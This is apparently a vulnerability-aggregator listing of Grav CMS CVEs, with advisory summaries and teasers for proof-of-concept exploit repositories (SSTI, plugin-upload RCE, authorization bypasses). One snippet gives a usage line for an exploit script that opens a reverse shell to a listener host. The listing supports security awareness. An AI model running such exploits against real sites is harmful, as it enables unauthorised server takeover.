CVE-2021-29440

CVE-2021-29440 Unsafe Twig processing of static pages leading to RCE in Grav CMS 1.7.10 Grav is a file based Web-platform. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this...

CVE-2025-50286

Grav CMS v1.7.48 / Admin Plugin v1.10.48 - Authenticated RCE via Plugin Upload CVE-2025-50286 Grav CMS v1.7.48 with Admin Plugin v1.10.48 is vulnerable to Remote Code Execution RCE via the "Direct Install" plugin upload feature, allowing authenticated administrators to execute arbitrary PHP code ...

CVE-2026-65008

CVE-2026-65008 — Grav CMS 2.0.7 Authenticated RCE Proof-of-concept for CVE-2026-65008 : authenticated remote code execution in Grav CMS via unrestricted calluserfuncarray in Blueprint::dynamicData. A user with admin.pages or api.pages.write can plant a malicious form frontmatter. The payload then...

grav-cve-2024-28116

CVE-2024-28116 — SSTI with Sandbox Bypass in Grav CMS Analysis and Docker reproduction of CVE-2024-28116, a Server-Side Template Injection vulnerability with security sandbox bypass in Grav CMS versions up to and including 1.7.44, fixed in version 1.7.45. Reported by: Maurizio Siddu akabe1 CVSS...

GenGravSSTIExploit

EN GenGravSSTIExploit is a PoC Python script that exploits an authenticated Server-Side Template Injection SSTI vulnerability in Grav CMS versions -p : Target URL in the format https://hostname. : Port number default is 80. Example: python GenGravSSTIExploit.py -t http://example.com -p 8080 4...

Graver

Graver Description Proof of Concept script to exploit the authenticated SSTI+RCE in Grav CMS CVE-2024-28116. It creates a malicious RCE page on the server running the vulnerable Grav CMS. References: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 Notes Since it is an authenticated vulnerability ...

Grav-CMS-RCE-Authenticated

Grav CMS Remote Code Execution Authenticated - CVE-2024-28116 Info This code is an adaptation fromGraver Github repository with some improvements based on this video. Exploit against Grav CMS for versions below 1.7.45 based on SSTI + RCE vulnerabilities, labeled as CVE-2024-28116. This script...

CVE-2026-75827

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-75827 CVE-2026-75827 Grav 2.0.13 - getgrav I am @abraxasnull. Loopback lab. The client is CVE-2026-75827-Abraxas-Labs.py. The denylist missed errorlog. Grav through 2.0.14 allowlists Class::method dynamic-dat...

Grav CMS <1.3.0 - Cross-Site Scripting

Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATHINFO to admin/tools. id: CVE-2018-5233 info: name: Grav CMS 1.3.0 - Cross-Site Scripting author: pikpikcu severity:...

Grav < 1.7 - Open Redirect

Grav before 1.7 has an open redirect vulnerability via common/Grav.php. This is partially fixed in 1.6.23 and still present in 1.6.x. id: CVE-2020-11529 info: name: Grav 1.7 - Open Redirect author: 0xAkoko severity: medium description: Grav before 1.7 has an open redirect vulnerability via...

CVE-2026-78851

Grav Authenticated Path Traversal / Arbitrary Directory Disclosure via Twig mediadirectory Reporter Name: CYBER-SEC Contact: [email protected] Summary Grav's Twig function mediadirectory is exposed inside the page-content Twig sandbox allowlist but does not properly enforce path containment...

CVE-2021-21425-RCE

this is my version i found a lot in internet but those are too bad USAGE python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 wait.. for 60sec you will get shell at your listener...

CVE-2025-50286

Grav Admin Direct Install RCE CVE-2025-50286 Metasploit module and lab setup for authenticated Remote Code Execution in the Grav Admin Plugin Direct Install functionality. Overview CVE: CVE-2025-50286 Impact: Authenticated RCE Vector: Admin panel → Direct Install Result: Arbitrary command executi...

CVE-2026-114659

Grav Flex Objects plugin 1.4.0 before 1.4.17 contains an authorization bypass because its generic /api/v1/flex-objects/pages API routes check only directory-level admin.pages permissions, without enforcing the Pages API's api.pages.read/write permissions or page-level permissions rules...

CVE-2026-114658

Grav Login plugin from 3.6.0 before 3.9.13 contains a missing authorization vulnerability in the login.invite task that allows page authors to obtain super user accounts. Attackers can define an invitation form granting super access in page frontmatter, submit it unauthenticated, and register the...

CVE-2026-114659

The Grav Flex Objects plugin (versions 1.4.0 before 1.4.17) is vulnerable to an authorization bypass via its generic /api/v1/flex-objects/pages API routes. The root cause is that these routes only validate directory-level admin.pages permissions while failing to enforce necessary api.pages.read/w...

CVE-2026-114659 Grav Flex Objects 1.4.0 before 1.4.17 Authorization Bypass via Pages API Routes

Grav Flex Objects plugin 1.4.0 before 1.4.17 contains an authorization bypass because its generic /api/v1/flex-objects/pages API routes check only directory-level admin.pages permissions, without enforcing the Pages API's api.pages.read/write permissions or page-level permissions rules...

EUVD-2026-107901

Grav Flex Objects plugin 1.4.0 before 1.4.17 contains an authorization bypass because its generic /api/v1/flex-objects/pages API routes check only directory-level admin.pages permissions, without enforcing the Pages API's api.pages.read/write permissions or page-level permissions rules...

EUVD-2026-107902

Grav from 2.0.0 before 2.2.5 contains an improper access control vulnerability in FlexDirectory::dynamicFlexField that allows page authors to call arbitrary Flex object methods via flex-@ directives in page frontmatter. When a user with page edit rights opens the page, directives calling...

CVE-2026-114660

The Grav content management system (versions 2.0.0 before 2.2.5) is vulnerable to an improper access control issue in the FlexDirectory::dynamicFlexField() function. This flaw allows page authors to execute arbitrary Flex object methods using flex-*@ directives within page frontmatter. If a user ...